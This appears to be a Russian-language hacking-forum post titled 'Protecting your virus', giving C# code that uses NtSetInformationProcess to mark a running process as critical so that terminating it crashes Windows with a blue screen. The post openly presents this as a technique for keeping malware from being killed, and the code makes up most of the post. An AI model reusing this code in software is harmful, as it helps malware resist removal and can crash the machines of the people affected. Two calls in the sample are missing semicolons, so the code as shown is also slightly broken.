Интересно C# - Критичный процесс (Защищаем свой вирус)

L

LightMan

Original poster
Часть процессов операционной системы считаются «критичными» — если завершить один из них, Windows выпадет в синий экран смерти и перезагрузится. Этим активно пользуются вирусописатели: если сделать свой процесс критичным, то его нельзя будет завершить просто так.

Наш файлик CriticalProcess.cs
C#:
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;

namespace NotAVirus
{
    internal sealed class CriticalProcess
    {
        [DllImport("kernel32.dll", SetLastError = true)]
        private static extern bool IsProcessCritical(
                IntPtr hProcess,
                ref bool Critical
            );

        [DllImport("ntdll.dll", SetLastError = true)]
        private static extern int NtSetInformationProcess(
                IntPtr hProcess,
                int processInformationClass,
                ref int processInformation,
                int processInformationLength
            );

        /// <summary>
        /// Check if process is critical
        /// </summary>
        /// <param name="process">Process object</param>
        /// <returns>status</returns>
        public static bool ProcessIsCritical(Process process)
        {
            bool critial = false;
            try {
                IsProcessCritical(process.Handle, ref critial);
            } catch (Exception ex) {
                Debug.WriteLine("[-] Failed to check if process is critical,\n    " + ex.Message);
            }
            return critial;
        }

        /// <summary>
        /// Toggle critical process
        /// </summary>
        /// <param name="process">Process object</param>
        /// <param name="is_critical">true - enable critical, false - disable critical</param>
        public static bool ProcessCriticalToggle(Process process, bool is_critical)
        {
            int status = 5;
            int critical = is_critical ? 1 : 0;
            try {
                Process.EnterDebugMode();
                status = NtSetInformationProcess(process.Handle, 29, ref critical, sizeof(int));
                Process.LeaveDebugMode();
            } catch (Exception ex) {
                Debug.WriteLine("[-] Failed toggle critical process,\n    " + ex.Message);
            }
            return status.Equals(0);
        }

    }
}

Главный файлик Program.cs
C#:
using System;
using System.Diagnostics;

namespace NotAVirus
{
    class Program
    {
        static void Main()
        {
            // Получить текущий процесс
            var process = Process.GetCurrentProcess();

            // Включить критический процесс
            CriticalProcess.ProcessCriticalToggle(process, is_critical: true)


            // Сделать что-нибудь...


            // Отключить критический процесс
            CriticalProcess.ProcessCriticalToggle(process, is_critical: false)
        }
    }
}


Не забудьте перед выходом из программы отключить критический процесс !!!

Если в программе возникнет ошибка, будет экран смерти!

При попытке выключить или перезагрузить компьютер тоже будет экран смерти (нужно поймать событие выключения и отключить критический процесс)
И не забывайте, что для работы этих функций требуется запуск с правами администратора.
 

Вложения

  • external-content.duckduckgo.com.jpeg
    external-content.duckduckgo.com.jpeg
    62 КБ · Просмотры: 1

Название темы